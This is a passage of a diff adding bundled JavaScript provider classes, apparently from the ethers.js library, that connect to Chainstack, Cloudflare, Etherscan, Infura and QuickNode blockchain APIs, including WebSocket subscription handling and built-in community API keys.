FetchRequest(`https:/\/${getHost$4(network.name)}/v2/${apiKey}`); + request.allowGzip = true; + if (apiKey === defaultApiKey) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("alchemy"); + return true; + }; + } + return request; + } +} + +/** + * [[link-chainstack]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Arbitrum (``arbitrum``) + * - BNB Smart Chain Mainnet (``bnb``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Chainstack [providers-chainstack] + */ +function getApiKey(name) { + switch (name) { + case "mainnet": return "39f1d67cedf8b7831010a665328c9197"; + case "arbitrum": return "0550c209db33c3abf4cc927e1e18cea1"; + case "bnb": return "98b5a77e531614387366f6fc5da097f8"; + case "matic": return "cd9d4d70377471aa7c142ec4a4205249"; + } + assertArgument(false, "unsupported network", "network", name); +} +function getHost$3(name) { + switch (name) { + case "mainnet": + return "ethereum-mainnet.core.chainstack.com"; + case "arbitrum": + return "arbitrum-mainnet.core.chainstack.com"; + case "bnb": + return "bsc-mainnet.core.chainstack.com"; + case "matic": + return "polygon-mainnet.core.chainstack.com"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **ChainstackProvider** connects to the [[link-chainstack]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-chainstack). + */ +class ChainstackProvider extends JsonRpcProvider { + /** + * The API key for the Chainstack connection. + */ + apiKey; + /** + * Creates a new **ChainstackProvider**. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = getApiKey(network.name); + } + const request = ChainstackProvider.getRequest(network, apiKey); + super(request, network, { staticNetwork: network }); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new ChainstackProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.apiKey === getApiKey(this._network.name)); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%% and %%projectSecret%%. + */ + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = getApiKey(network.name); + } + const request = new FetchRequest(`https:/\/${getHost$3(network.name)}/${apiKey}`); + request.allowGzip = true; + if (apiKey === getApiKey(network.name)) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("ChainstackProvider"); + return true; + }; + } + return request; + } +} + +/** + * About Cloudflare + * + * @_subsection: api/providers/thirdparty:Cloudflare [providers-cloudflare] + */ +/** + * About Cloudflare... + */ +class CloudflareProvider extends JsonRpcProvider { + constructor(_network) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + assertArgument(network.name === "mainnet", "unsupported network", "network", _network); + super("https:/\/cloudflare-eth.com/", network, { staticNetwork: network }); + } +} + +/** + * [[link-etherscan]] provides a third-party service for connecting to + * various blockchains over a combination of JSON-RPC and custom API + * endpoints. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * - Polygon Amoy Testnet (``matic-amoy``) + * + * @_subsection api/providers/thirdparty:Etherscan [providers-etherscan] + */ +const THROTTLE = 2000; +function isPromise(value) { + return (value && typeof (value.then) === "function"); +} +const EtherscanPluginId = "org.ethers.plugins.provider.Etherscan"; +/** + * A Network can include an **EtherscanPlugin** to provide + * a custom base URL. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +class EtherscanPlugin extends NetworkPlugin { + /** + * The Etherscan API base URL. + */ + baseUrl; + /** + * Creates a new **EtherscanProvider** which will use + * %%baseUrl%%. + */ + constructor(baseUrl) { + super(EtherscanPluginId); + defineProperties(this, { baseUrl }); + } + clone() { + return new EtherscanPlugin(this.baseUrl); + } +} +const skipKeys = ["enableCcipRead"]; +let nextId = 1; +/** + * The **EtherscanBaseProvider** is the super-class of + * [[EtherscanProvider]], which should generally be used instead. + * + * Since the **EtherscanProvider** includes additional code for + * [[Contract]] access, in //rare cases// that contracts are not + * used, this class can reduce code size. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +class EtherscanProvider extends AbstractProvider { + /** + * The connected network. + */ + network; + /** + * The API key or null if using the community provided bandwidth. + */ + apiKey; + #plugin; + /** + * Creates a new **EtherscanBaseProvider**. + */ + constructor(_network, _apiKey) { + const apiKey = (_apiKey != null) ? _apiKey : null; + super(); + const network = Network.from(_network); + this.#plugin = network.getPlugin(EtherscanPluginId); + defineProperties(this, { apiKey, network }); + } + /** + * Returns the base URL. + * + * If an [[EtherscanPlugin]] is configured on the + * [[EtherscanBaseProvider_network]], returns the plugin's + * baseUrl. + * + * Deprecated; for Etherscan v2 the base is no longer a simply + * host, but instead a URL including a chainId parameter. Changing + * this to return a URL prefix could break some libraries, so it + * is left intact but will be removed in the future as it is unused. + */ + getBaseUrl() { + if (this.#plugin) { + return this.#plugin.baseUrl; + } + switch (this.network.name) { + case "mainnet": + return "https:/\/api.etherscan.io"; + case "goerli": + return "https:/\/api-goerli.etherscan.io"; + case "sepolia": + return "https:/\/api-sepolia.etherscan.io"; + case "holesky": + return "https:/\/api-holesky.etherscan.io"; + case "arbitrum": + return "https:/\/api.arbiscan.io"; + case "arbitrum-goerli": + return "https:/\/api-goerli.arbiscan.io"; + case "base": + return "https:/\/api.basescan.org"; + case "base-sepolia": + return "https:/\/api-sepolia.basescan.org"; + case "bnb": + return "https:/\/api.bscscan.com"; + case "bnbt": + return "https:/\/api-testnet.bscscan.com"; + case "matic": + return "https:/\/api.polygonscan.com"; + case "matic-amoy": + return "https:/\/api-amoy.polygonscan.com"; + case "matic-mumbai": + return "https:/\/api-testnet.polygonscan.com"; + case "optimism": + return "https:/\/api-optimistic.etherscan.io"; + case "optimism-goerli": + return "https:/\/api-goerli-optimistic.etherscan.io"; + } + assertArgument(false, "unsupported network", "network", this.network); + } + /** + * Returns the URL for the %%module%% and %%params%%. + */ + getUrl(module, params) { + let query = Object.keys(params).reduce((accum, key) => { + const value = params[key]; + if (value != null) { + accum += `&${key}=${value}`; + } + return accum; + }, ""); + if (this.apiKey) { + query += `&apikey=${this.apiKey}`; + } + return `https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}&module=${module}${query}`; + } + /** + * Returns the URL for using POST requests. + */ + getPostUrl() { + return `https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}`; + } + /** + * Returns the parameters for using POST requests. + */ + getPostData(module, params) { + params.module = module; + params.apikey = this.apiKey; + params.chainid = this.network.chainId; + return params; + } + async detectNetwork() { + return this.network; + } + /** + * Resolves to the result of calling %%module%% with %%params%%. + * + * If %%post%%, the request is made as a POST request. + */ + async fetch(module, params, post) { + const id = nextId++; + const url = (post ? this.getPostUrl() : this.getUrl(module, params)); + const payload = (post ? this.getPostData(module, params) : null); + this.emit("debug", { action: "sendRequest", id, url, payload: payload }); + const request = new FetchRequest(url); + request.setThrottleParams({ slotInterval: 1000 }); + request.retryFunc = (req, resp, attempt) => { + if (this.isCommunityResource()) { + showThrottleMessage("Etherscan"); + } + return Promise.resolve(true); + }; + request.processFunc = async (request, response) => { + const result = response.hasBody() ? JSON.parse(toUtf8String(response.body)) : {}; + const throttle = ((typeof (result.result) === "string") ? result.result : "").toLowerCase().indexOf("rate limit") >= 0; + if (module === "proxy") { + // This JSON response indicates we are being throttled + if (result && result.status == 0 && result.message == "NOTOK" && throttle) { + this.emit("debug", { action: "receiveError", id, reason: "proxy-NOTOK", error: result }); + response.throwThrottleError(result.result, THROTTLE); + } + } + else { + if (throttle) { + this.emit("debug", { action: "receiveError", id, reason: "null result", error: result.result }); + response.throwThrottleError(result.result, THROTTLE); + } + } + return response; + }; + if (payload) { + request.setHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8"); + request.body = Object.keys(payload).map((k) => `${k}=${payload[k]}`).join("&"); + } + const response = await request.send(); + try { + response.assertOk(); + } + catch (error) { + this.emit("debug", { action: "receiveError", id, error, reason: "assertOk" }); + assert(false, "response error", "SERVER_ERROR", { request, response }); + } + if (!response.hasBody()) { + this.emit("debug", { action: "receiveError", id, error: "missing body", reason: "null body" }); + assert(false, "missing response", "SERVER_ERROR", { request, response }); + } + const result = JSON.parse(toUtf8String(response.body)); + if (module === "proxy") { + if (result.jsonrpc != "2.0") { + this.emit("debug", { action: "receiveError", id, result, reason: "invalid JSON-RPC" }); + assert(false, "invalid JSON-RPC response (missing jsonrpc='2.0')", "SERVER_ERROR", { request, response, info: { result } }); + } + if (result.error) { + this.emit("debug", { action: "receiveError", id, result, reason: "JSON-RPC error" }); + assert(false, "error response", "SERVER_ERROR", { request, response, info: { result } }); + } + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + else { + // getLogs, getHistory have weird success responses + if (result.status == 0 && (result.message === "No records found" || result.message === "No transactions found")) { + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + if (result.status != 1 || (typeof (result.message) === "string" && !result.message.match(/^OK/))) { + this.emit("debug", { action: "receiveError", id, result }); + assert(false, "error response", "SERVER_ERROR", { request, response, info: { result } }); + } + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + } + /** + * Returns %%transaction%% normalized for the Etherscan API. + */ + _getTransactionPostData(transaction) { + const result = {}; + for (let key in transaction) { + if (skipKeys.indexOf(key) >= 0) { + continue; + } + if (transaction[key] == null) { + continue; + } + let value = transaction[key]; + if (key === "type" && value === 0) { + continue; + } + if (key === "blockTag" && value === "latest") { + continue; + } + // Quantity-types require no leading zero, unless 0 + if ({ type: true, gasLimit: true, gasPrice: true, maxFeePerGs: true, maxPriorityFeePerGas: true, nonce: true, value: true }[key]) { + value = toQuantity(value); + } + else if (key === "accessList") { + value = "[" + accessListify(value).map((set) => { + return `{address:"${set.address}",storageKeys:["${set.storageKeys.join('","')}"]}`; + }).join(",") + "]"; + } + else if (key === "blobVersionedHashes") { + if (value.length === 0) { + continue; + } + // @TODO: update this once the API supports blobs + assert(false, "Etherscan API does not support blobVersionedHashes", "UNSUPPORTED_OPERATION", { + operation: "_getTransactionPostData", + info: { transaction } + }); + } + else { + value = hexlify(value); + } + result[key] = value; + } + return result; + } + /** + * Throws the normalized Etherscan error. + */ + _checkError(req, error, transaction) { + // Pull any message out if, possible + let message = ""; + if (isError(error, "SERVER_ERROR")) { + // Check for an error emitted by a proxy call + try { + message = error.info.result.error.message; + } + catch (e) { } + if (!message) { + try { + message = error.info.message; + } + catch (e) { } + } + } + if (req.method === "estimateGas") { + if (!message.match(/revert/i) && message.match(/insufficient funds/i)) { + assert(false, "insufficient funds", "INSUFFICIENT_FUNDS", { + transaction: req.transaction + }); + } + } + if (req.method === "call" || req.method === "estimateGas") { + if (message.match(/execution reverted/i)) { + let data = ""; + try { + data = error.info.result.error.data; + } + catch (error) { } + const e = AbiCoder.getBuiltinCallException(req.method, req.transaction, data); + e.info = { request: req, error }; + throw e; + } + } + if (message) { + if (req.method === "broadcastTransaction") { + const transaction = Transaction.from(req.signedTransaction); + if (message.match(/replacement/i) && message.match(/underpriced/i)) { + assert(false, "replacement fee too low", "REPLACEMENT_UNDERPRICED", { + transaction + }); + } + if (message.match(/insufficient funds/)) { + assert(false, "insufficient funds for intrinsic transaction cost", "INSUFFICIENT_FUNDS", { + transaction + }); + } + if (message.match(/same hash was already imported|transaction nonce is too low|nonce too low/)) { + assert(false, "nonce has already been used", "NONCE_EXPIRED", { + transaction + }); + } + } + } + // Something we could not process + throw error; + } + async _detectNetwork() { + return this.network; + } + async _perform(req) { + switch (req.method) { + case "chainId": + return this.network.chainId; + case "getBlockNumber": + return this.fetch("proxy", { action: "eth_blockNumber" }); + case "getGasPrice": + return this.fetch("proxy", { action: "eth_gasPrice" }); + case "getPriorityFee": + // This is temporary until Etherscan completes support + if (this.network.name === "mainnet") { + return "1000000000"; + } + else if (this.network.name === "optimism") { + return "1000000"; + } + else { + throw new Error("fallback onto the AbstractProvider default"); + } + /* Working with Etherscan to get this added: + try { + const test = await this.fetch("proxy", { + action: "eth_maxPriorityFeePerGas" + }); + console.log(test); + return test; + } catch (e) { + console.log("DEBUG", e); + throw e; + } + */ + /* This might be safe; but due to rounding neither myself + or Etherscan are necessarily comfortable with this. :) + try { + const result = await this.fetch("gastracker", { action: "gasoracle" }); + console.log(result); + const gasPrice = parseUnits(result.SafeGasPrice, "gwei"); + const baseFee = parseUnits(result.suggestBaseFee, "gwei"); + const priorityFee = gasPrice - baseFee; + if (priorityFee < 0) { throw new Error("negative priority fee; defer to abstract provider default"); } + return priorityFee; + } catch (error) { + console.log("DEBUG", error); + throw error; + } + */ + case "getBalance": + // Returns base-10 result + return this.fetch("account", { + action: "balance", + address: req.address, + tag: req.blockTag + }); + case "getTransactionCount": + return this.fetch("proxy", { + action: "eth_getTransactionCount", + address: req.address, + tag: req.blockTag + }); + case "getCode": + return this.fetch("proxy", { + action: "eth_getCode", + address: req.address, + tag: req.blockTag + }); + case "getStorage": + return this.fetch("proxy", { + action: "eth_getStorageAt", + address: req.address, + position: req.position, + tag: req.blockTag + }); + case "broadcastTransaction": + return this.fetch("proxy", { + action: "eth_sendRawTransaction", + hex: req.signedTransaction + }, true).catch((error) => { + return this._checkError(req, error, req.signedTransaction); + }); + case "getBlock": + if ("blockTag" in req) { + return this.fetch("proxy", { + action: "eth_getBlockByNumber", + tag: req.blockTag, + boolean: (req.includeTransactions ? "true" : "false") + }); + } + assert(false, "getBlock by blockHash not supported by Etherscan", "UNSUPPORTED_OPERATION", { + operation: "getBlock(blockHash)" + }); + case "getTransaction": + return this.fetch("proxy", { + action: "eth_getTransactionByHash", + txhash: req.hash + }); + case "getTransactionReceipt": + return this.fetch("proxy", { + action: "eth_getTransactionReceipt", + txhash: req.hash + }); + case "call": { + if (req.blockTag !== "latest") { + throw new Error("EtherscanProvider does not support blockTag for call"); + } + const postData = this._getTransactionPostData(req.transaction); + postData.module = "proxy"; + postData.action = "eth_call"; + try { + return await this.fetch("proxy", postData, true); + } + catch (error) { + return this._checkError(req, error, req.transaction); + } + } + case "estimateGas": { + const postData = this._getTransactionPostData(req.transaction); + postData.module = "proxy"; + postData.action = "eth_estimateGas"; + try { + return await this.fetch("proxy", postData, true); + } + catch (error) { + return this._checkError(req, error, req.transaction); + } + } + } + return super._perform(req); + } + async getNetwork() { + return this.network; + } + /** + * Resolves to the current price of ether. + * + * This returns ``0`` on any network other than ``mainnet``. + */ + async getEtherPrice() { + if (this.network.name !== "mainnet") { + return 0.0; + } + return parseFloat((await this.fetch("stats", { action: "ethprice" })).ethusd); + } + /** + * Resolves to a [Contract]] for %%address%%, using the + * Etherscan API to retreive the Contract ABI. + */ + async getContract(_address) { + let address = this._getAddress(_address); + if (isPromise(address)) { + address = await address; + } + try { + const resp = await this.fetch("contract", { + action: "getabi", address + }); + const abi = JSON.parse(resp); + return new Contract(address, abi, this); + } + catch (error) { + return null; + } + } + isCommunityResource() { + return (this.apiKey == null); + } +} + +function getGlobal() { + if (typeof self !== 'undefined') { + return self; + } + if (typeof window !== 'undefined') { + return window; + } + if (typeof global !== 'undefined') { + return global; + } + throw new Error('unable to locate global object'); +} +const _WebSocket = getGlobal().WebSocket; + +/** + * Generic long-lived socket provider. + * + * Sub-classing notes + * - a sub-class MUST call the `_start()` method once connected + * - a sub-class MUST override the `_write(string)` method + * - a sub-class MUST call `_processMessage(string)` for each message + * + * @_subsection: api/providers/abstract-provider:Socket Providers [about-socketProvider] + */ +/** + * A **SocketSubscriber** uses a socket transport to handle events and + * should use [[_emit]] to manage the events. + */ +class SocketSubscriber { + #provider; + #filter; + /** + * The filter. + */ + get filter() { return JSON.parse(this.#filter); } + #filterId; + #paused; + #emitPromise; + /** + * Creates a new **SocketSubscriber** attached to %%provider%% listening + * to %%filter%%. + */ + constructor(provider, filter) { + this.#provider = provider; + this.#filter = JSON.stringify(filter); + this.#filterId = null; + this.#paused = null; + this.#emitPromise = null; + } + start() { + this.#filterId = this.#provider.send("eth_subscribe", this.filter).then((filterId) => { + this.#provider._register(filterId, this); + return filterId; + }); + } + stop() { + (this.#filterId).then((filterId) => { + if (this.#provider.destroyed) { + return; + } + this.#provider.send("eth_unsubscribe", [filterId]); + }); + this.#filterId = null; + } + // @TODO: pause should trap the current blockNumber, unsub, and on resume use getLogs + // and resume + pause(dropWhilePaused) { + assert(dropWhilePaused, "preserve logs while paused not supported by SocketSubscriber yet", "UNSUPPORTED_OPERATION", { operation: "pause(false)" }); + this.#paused = !!dropWhilePaused; + } + resume() { + this.#paused = null; + } + /** + * @_ignore: + */ + _handleMessage(message) { + if (this.#filterId == null) { + return; + } + if (this.#paused === null) { + let emitPromise = this.#emitPromise; + if (emitPromise == null) { + emitPromise = this._emit(this.#provider, message); + } + else { + emitPromise = emitPromise.then(async () => { + await this._emit(this.#provider, message); + }); + } + this.#emitPromise = emitPromise.then(() => { + if (this.#emitPromise === emitPromise) { + this.#emitPromise = null; + } + }); + } + } + /** + * Sub-classes **must** override this to emit the events on the + * provider. + */ + async _emit(provider, message) { + throw new Error("sub-classes must implemente this; _emit"); + } +} +/** + * A **SocketBlockSubscriber** listens for ``newHeads`` events and emits + * ``"block"`` events. + */ +class SocketBlockSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider) { + super(provider, ["newHeads"]); + } + async _emit(provider, message) { + provider.emit("block", parseInt(message.number)); + } +} +/** + * A **SocketPendingSubscriber** listens for pending transacitons and emits + * ``"pending"`` events. + */ +class SocketPendingSubscriber extends SocketSubscriber { + /** + * @_ignore: + */ + constructor(provider) { + super(provider, ["newPendingTransactions"]); + } + async _emit(provider, message) { + provider.emit("pending", message); + } +} +/** + * A **SocketEventSubscriber** listens for event logs. + */ +class SocketEventSubscriber extends SocketSubscriber { + #logFilter; + /** + * The filter. + */ + get logFilter() { return JSON.parse(this.#logFilter); } + /** + * @_ignore: + */ + constructor(provider, filter) { + super(provider, ["logs", filter]); + this.#logFilter = JSON.stringify(filter); + } + async _emit(provider, message) { + provider.emit(this.logFilter, provider._wrapLog(message, provider._network)); + } +} +/** + * A **SocketProvider** is backed by a long-lived connection over a + * socket, which can subscribe and receive real-time messages over + * its communication channel. + */ +class SocketProvider extends JsonRpcApiProvider { + #callbacks; + // Maps each filterId to its subscriber + #subs; + // If any events come in before a subscriber has finished + // registering, queue them + #pending; + /** + * Creates a new **SocketProvider** connected to %%network%%. + * + * If unspecified, the network will be discovered. + */ + constructor(network, _options) { + // Copy the options + const options = Object.assign({}, (_options != null) ? _options : {}); + // Support for batches is generally not supported for + // connection-base providers; if this changes in the future + // the _send should be updated to reflect this + assertArgument(options.batchMaxCount == null || options.batchMaxCount === 1, "sockets-based providers do not support batches", "options.batchMaxCount", _options); + options.batchMaxCount = 1; + // Socket-based Providers (generally) cannot change their network, + // since they have a long-lived connection; but let people override + // this if they have just cause. + if (options.staticNetwork == null) { + options.staticNetwork = true; + } + super(network, options); + this.#callbacks = new Map(); + this.#subs = new Map(); + this.#pending = new Map(); + } + // This value is only valid after _start has been called + /* + get _network(): Network { + if (this.#network == null) { + throw new Error("this shouldn't happen"); + } + return this.#network.clone(); + } + */ + _getSubscriber(sub) { + switch (sub.type) { + case "close": + return new UnmanagedSubscriber("close"); + case "block": + return new SocketBlockSubscriber(this); + case "pending": + return new SocketPendingSubscriber(this); + case "event": + return new SocketEventSubscriber(this, sub.filter); + case "orphan": + // Handled auto-matically within AbstractProvider + // when the log.removed = true + if (sub.filter.orphan === "drop-log") { + return new UnmanagedSubscriber("drop-log"); + } + } + return super._getSubscriber(sub); + } + /** + * Register a new subscriber. This is used internalled by Subscribers + * and generally is unecessary unless extending capabilities. + */ + _register(filterId, subscriber) { + this.#subs.set(filterId, subscriber); + const pending = this.#pending.get(filterId); + if (pending) { + for (const message of pending) { + subscriber._handleMessage(message); + } + this.#pending.delete(filterId); + } + } + async _send(payload) { + // WebSocket provider doesn't accept batches + assertArgument(!Array.isArray(payload), "WebSocket does not support batch send", "payload", payload); + // @TODO: stringify payloads here and store to prevent mutations + // Prepare a promise to respond to + const promise = new Promise((resolve, reject) => { + this.#callbacks.set(payload.id, { payload, resolve, reject }); + }); + // Wait until the socket is connected before writing to it + await this._waitUntilReady(); + // Write the request to the socket + await this._write(JSON.stringify(payload)); + return [await promise]; + } + // Sub-classes must call this once they are connected + /* + async _start(): Promise { + if (this.#ready) { return; } + + for (const { payload } of this.#callbacks.values()) { + await this._write(JSON.stringify(payload)); + } + + this.#ready = (async function() { + await super._start(); + })(); + } + */ + /** + * Sub-classes **must** call this with messages received over their + * transport to be processed and dispatched. + */ + async _processMessage(message) { + const result = (JSON.parse(message)); + if (result && typeof (result) === "object" && "id" in result) { + const callback = this.#callbacks.get(result.id); + if (callback == null) { + this.emit("error", makeError("received result for unknown id", "UNKNOWN_ERROR", { + reasonCode: "UNKNOWN_ID", + result + })); + return; + } + this.#callbacks.delete(result.id); + callback.resolve(result); + } + else if (result && result.method === "eth_subscription") { + const filterId = result.params.subscription; + const subscriber = this.#subs.get(filterId); + if (subscriber) { + subscriber._handleMessage(result.params.result); + } + else { + let pending = this.#pending.get(filterId); + if (pending == null) { + pending = []; + this.#pending.set(filterId, pending); + } + pending.push(result.params.result); + } + } + else { + this.emit("error", makeError("received unexpected message", "UNKNOWN_ERROR", { + reasonCode: "UNEXPECTED_MESSAGE", + result + })); + return; + } + } + /** + * Sub-classes **must** override this to send %%message%% over their + * transport. + */ + async _write(message) { + throw new Error("sub-classes must override this"); + } +} + +/** + * A JSON-RPC provider which is backed by a WebSocket. + * + * WebSockets are often preferred because they retain a live connection + * to a server, which permits more instant access to events. + * + * However, this incurs higher server infrasturture costs, so additional + * resources may be required to host your own WebSocket nodes and many + * third-party services charge additional fees for WebSocket endpoints. + */ +class WebSocketProvider extends SocketProvider { + #connect; + #websocket; + get websocket() { + if (this.#websocket == null) { + throw new Error("websocket closed"); + } + return this.#websocket; + } + constructor(url, network, options) { + super(network, options); + if (typeof (url) === "string") { + this.#connect = () => { return new _WebSocket(url); }; + this.#websocket = this.#connect(); + } + else if (typeof (url) === "function") { + this.#connect = url; + this.#websocket = url(); + } + else { + this.#connect = null; + this.#websocket = url; + } + this.websocket.onopen = async () => { + try { + await this._start(); + this.resume(); + } + catch (error) { + console.log("failed to start WebsocketProvider", error); + // @TODO: now what? Attempt reconnect? + } + }; + this.websocket.onmessage = (message) => { + this._processMessage(message.data); + }; + /* + this.websocket.onclose = (event) => { + // @TODO: What event.code should we reconnect on? + const reconnect = false; + if (reconnect) { + this.pause(true); + if (this.#connect) { + this.#websocket = this.#connect(); + this.#websocket.onopen = ... + // @TODO: this requires the super class to rebroadcast; move it there + } + this._reconnect(); + } + }; + */ + } + async _write(message) { + this.websocket.send(message); + } + async destroy() { + if (this.#websocket != null) { + this.#websocket.close(); + this.#websocket = null; + } + super.destroy(); + } +} + +/** + * [[link-infura]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Linea (``linea``) + * - Linea Goerli Testnet (``linea-goerli``) + * - Linea Sepolia Testnet (``linea-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:INFURA [providers-infura] + */ +const defaultProjectId = "84842078b09946638c03157f83405213"; +function getHost$2(name) { + switch (name) { + case "mainnet": + return "mainnet.infura.io"; + case "goerli": + return "goerli.infura.io"; + case "sepolia": + return "sepolia.infura.io"; + case "arbitrum": + return "arbitrum-mainnet.infura.io"; + case "arbitrum-goerli": + return "arbitrum-goerli.infura.io"; + case "arbitrum-sepolia": + return "arbitrum-sepolia.infura.io"; + case "base": + return "base-mainnet.infura.io"; + case "base-goerlia": // @TODO: Remove this typo in the future! + case "base-goerli": + return "base-goerli.infura.io"; + case "base-sepolia": + return "base-sepolia.infura.io"; + case "bnb": + return "bsc-mainnet.infura.io"; + case "bnbt": + return "bsc-testnet.infura.io"; + case "linea": + return "linea-mainnet.infura.io"; + case "linea-goerli": + return "linea-goerli.infura.io"; + case "linea-sepolia": + return "linea-sepolia.infura.io"; + case "matic": + return "polygon-mainnet.infura.io"; + case "matic-amoy": + return "polygon-amoy.infura.io"; + case "matic-mumbai": + return "polygon-mumbai.infura.io"; + case "optimism": + return "optimism-mainnet.infura.io"; + case "optimism-goerli": + return "optimism-goerli.infura.io"; + case "optimism-sepolia": + return "optimism-sepolia.infura.io"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **InfuraWebSocketProvider** connects to the [[link-infura]] + * WebSocket end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +class InfuraWebSocketProvider extends WebSocketProvider { + /** + * The Project ID for the INFURA connection. + */ + projectId; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + projectSecret; + /** + * Creates a new **InfuraWebSocketProvider**. + */ + constructor(network, projectId) { + const provider = new InfuraProvider(network, projectId); + const req = provider._getConnection(); + assert(!req.credentials, "INFURA WebSocket project secrets unsupported", "UNSUPPORTED_OPERATION", { operation: "InfuraProvider.getWebSocketProvider()" }); + const url = req.url.replace(/^http/i, "ws").replace("/v3/", "/ws/v3/"); + super(url, provider._network); + defineProperties(this, { + projectId: provider.projectId, + projectSecret: provider.projectSecret + }); + } + isCommunityResource() { + return (this.projectId === defaultProjectId); + } +} +/** + * The **InfuraProvider** connects to the [[link-infura]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +class InfuraProvider extends JsonRpcProvider { + /** + * The Project ID for the INFURA connection. + */ + projectId; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + projectSecret; + /** + * Creates a new **InfuraProvider**. + */ + constructor(_network, projectId, projectSecret) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (projectId == null) { + projectId = defaultProjectId; + } + if (projectSecret == null) { + projectSecret = null; + } + const request = InfuraProvider.getRequest(network, projectId, projectSecret); + super(request, network, { staticNetwork: network }); + defineProperties(this, { projectId, projectSecret }); + } + _getProvider(chainId) { + try { + return new InfuraProvider(chainId, this.projectId, this.projectSecret); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.projectId === defaultProjectId); + } + /** + * Creates a new **InfuraWebSocketProvider**. + */ + static getWebSocketProvider(network, projectId) { + return new InfuraWebSocketProvider(network, projectId); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%projectId%% and %%projectSecret%%. + */ + static getRequest(network, projectId, projectSecret) { + if (projectId == null) { + projectId = defaultProjectId; + } + if (projectSecret == null) { + projectSecret = null; + } + const request = new FetchRequest(`https:/\/${getHost$2(network.name)}/v3/${projectId}`); + request.allowGzip = true; + if (projectSecret) { + request.setCredentials("", projectSecret); + } + if (projectId === defaultProjectId) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("InfuraProvider"); + return true; + }; + } + return request; + } +} + +/** + * [[link-quicknode]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base Mainnet (``base``); + * - Base Goerli Testnet (``base-goerli``); + * - Base Sepolia Testnet (``base-sepolia``); + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:QuickNode [providers-quicknode] + */ +const defaultToken = "919b412a057b5e9c9b6dce193c5a60242d6efadb"; +function getHost$1(name) { + switch (name) { + case "mainnet": + return "ethers.quiknode.pro"; + case "goerli": + return "ethers.ethereum-goerli.quiknode.pro"; + case "sepolia": + return "ethers.ethereum-sepolia.quiknode.pro"; + case "holesky": + return "ethers.ethereum-holesky.quiknode.pro"; + case "arbitrum": + return "ethers.arbitrum-mainnet.quiknode.pro"; 